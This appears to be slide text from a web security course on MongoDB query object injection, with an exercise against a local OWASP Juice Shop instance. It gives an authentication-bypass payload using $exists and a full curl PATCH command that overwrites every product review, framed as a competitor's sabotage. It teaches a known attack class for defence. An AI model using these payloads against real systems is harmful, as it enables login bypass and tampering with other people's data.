NoSQL Injection: MongoDb Query Object Injection
Learn about Mongo’s Query Objects, and how they can circumvent server-side password validation
Interactive Exercise: Reconnaissance of client-side javascript to find API endpoints
and associated payload
Interactive Exercise: Use Query Object injection to update all product reviews within
Owasp’s Juice Shop
Recap: What is NoSQL Injection (NoSQLi)?
Introduced when developers create dynamic database queries that include user
supplied input (untrusted input)
What unexpected input types could we receive?
// Mongo shell syntax (dev syntax is very similar)
db.accounts.find({username: username_value, password: password_value});
// Find method signature
db.collection.find(query[[[, fields], options], callback]);
{username: username_value, password: password_value}
Query Object that can be leveraged to validate username/password
Query Objects contain logic
If more than one field is specified, it’s an AND query
Exercise: Evaluating Injection Risks
db.accounts.find({username: username_value, password: password_value});
BSON injection course recap
Validation issues within an underlying library could allow an attacker to
inject username_value / password_value with unexpected characters
Assume that the underlying libraries are validating correctly, how could one
attack username_value / password_value?
Hint: Usually the issues are right in front of you
Answer: Nested Query Objects
Example: Query Object Injection
db.accounts.find({username: username_value, password: password_value});
{
"username" : " admin" ,
"password" : {$exists: true }
}
Set password_value equal to another query object
What is $exists?
Query Operator Attack Vector
{
"username" : " admin" ,
"password" : {$exists: true }
}
To subvert the validation condition, an attacker can try to inject query
objects that evaluate to true
Query Operators
Logical
Element
Evaluation
$where
Matches documents that satisfy a JavaScript expression
Comment
db.collection.find( { <query>, $comment: <comment> } )
Scenario
You are a Juice Shop owner and you’re trying to degrade the reputation of your competition
You want all preexisting reviews to be altered and display your message
Threat modeling
The financially motivated attacker
Not always “You’ve been PAWNED! You suck! Muhaha”
Attack Steps
Evaluate client-side code to find API endpoint
Leverage query object injection to update all reviews
docker run -p 3000:3000 securingthestack/juice-shop:nosqli-object-injection
View http://localhost:3000 in Google Chrome
Create new user and log in
Chrome Dev Tools
dist/juice-shop.min.js
Pretty Print
Search for patch
Click on a product from the main page and submit a product review
Copy as cURL to give yourself a template
Leverage the code (relevant code linked to patch), curl template, and query object injection to update every
review on the site
Hint
Focus on the id field for the query object injection
{ "id": X, "message": X }
Solution: Find Patch Data
angular . module ( "juiceShop" ) . controller ( "ProductReviewEditController" , [ "$scope" , "$uibModalInstance" , "ProductReviewService" , "review" , function ( n , e , t , o ) {
"use strict" ;
n . id = o . _id ,
n . message = o . message ,
n . editReview = function ( ) {
t . patch ( {
id : n . id ,
message : n . message
} ) . then ( function ( ) {
e . close ( n . message )
} ) . catch ( function ( e ) {
console . log ( e ) ,
n . err = e
} )
}
}
Solution: Construct Payload
{ "id" : { "$exists" : true }, "message" : " I cant believe how SOUR this juice was!!" }
Solution: Find API endpoint URL
angular . module ( "juiceShop" ) . factory ( "ProductReviewService" , [ "$http" , "$q" , function ( o , a ) {
"use strict" ;
var r = "/rest/product" ;
return {
// ...snip...
patch : function ( e ) {
var n = a . defer ( ) ;
return o . patch ( r + "/reviews" , e ) . then ( function ( e ) {
n . resolve ( e . data . data )
} ) . catch ( function ( e ) {
n . reject ( e . data )
} ) ,
n . promise
}
}
}
Solution: Construct cURL command
curl 'http://localhost:3000/rest/product/reviews' -X PATCH -H 'Pragma: no-cache'
-H 'Origin: http://localhost:3000' -H 'Accept-Encoding: gzip, deflate, br' -H
'Accept-Language: en-US,en;q=0.9' -H 'Authorization: Bearer
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6OSwiZW1haWwiOiJmb29AZm9vLmNvbSIsInBhc3N3b3JkIjoiZmRiYTk4OTcwOTYxZWRiMjlmODgyNDFiOWQ5OWQ4OTAiLCJjcmVhdGVkQXQiOiIyMDE4LTA3LTIyIDIyOjA4OjE4LjA0OSArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTA3LTIyIDIyOjA4OjE4LjA0OSArMDA6MDAifSwiaWF0IjoxNTMyMjk3MzE4LCJleHAiOjE1MzIzMTUzMTh9.u19Fl-GcuZvNSaFDgzYFIKFrnpGnhTZTMqV0s-ZVSB7cJDWPaLgfdG3hYA0Wb7MgbZQFzHV_BcLzoHKRkJe-T_p_8E6LhUyr9A6VWbTt9f9IHEyeXH6EqmuM3WkeTkB8cgDqVpOiLLz8K9U6-B6z5yThnECwKbrinRTWgoT2g3E'
-H 'Content-Type: application/json;charset=UTF-8' -H 'Accept: application/json,
text/plain, */*' -H 'Cache-Control: no-cache' -H 'User-Agent: Mozilla/5.0
(Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/67.0.3396.99 Safari/537.36' -H 'Cookie:
connect.sid=s%3AkVWjF7LgDglaiBddGx4d-i0ZZIkXRC7T.atB7Ffy5NCMywjOCiL51vNAcWb5rt5aCw%2BuS5x7eWMw;
cookieconsent_status=dismiss; language=en;
i18next=en;
continueCode=DLz1ZK8EnQbOajlDeV71P9Jp5wyLA6m0oMBN2XrKx4RmvzZ6k3YqWgaE74yj;
io=rwn8sIR1IsKAeZhUAAAD;
token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6OSwiZW1haWwiOiJmb29AZm9vLmNvbSIsInBhc3N3b3JkIjoiZmRiYTk4OTcwOTYxZWRiMjlmODgyNDFiOWQ5OWQ4OTAiLCJjcmVhdGVkQXQiOiIyMDE4LTA3LTIyIDIyOjA4OjE4LjA0OSArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTA3LTIyIDIyOjA4OjE4LjA0OSArMDA6MDAifSwiaWF0IjoxNTMyMjk3MzE4LCJleHAiOjE1MzIzMTUzMTh9.u19Fl-GcuZvNSaFDgzYFIKFrnpGnhTZTMqV0s-ZVSB7cJDWPaLgfdG3hYA0Wb7MgbZQFzHV_BcLzoHKRkJe-T_p_8E6LhUyr9A6VWbTt9f9IHEyeXH6EqmuM3WkeTkB8cgDqVpOiLLz8K9U6-B6z5yThnECwKbrinRTWgoT2g3E'
-H 'Connection: keep-alive' -H 'Referer: http://localhost:3000/' -H 'DNT: 1'
--data-binary '{ "id": { "$exists": true }, "message": "I cant believe how SOUR this juice
was!!" }' --compressed
Attackers profile Javascript to deduce admin functionality (or functionality
that isn’t immediately available within the application)
Input Validation
Regular Expressions aren’t enough, we must also validate type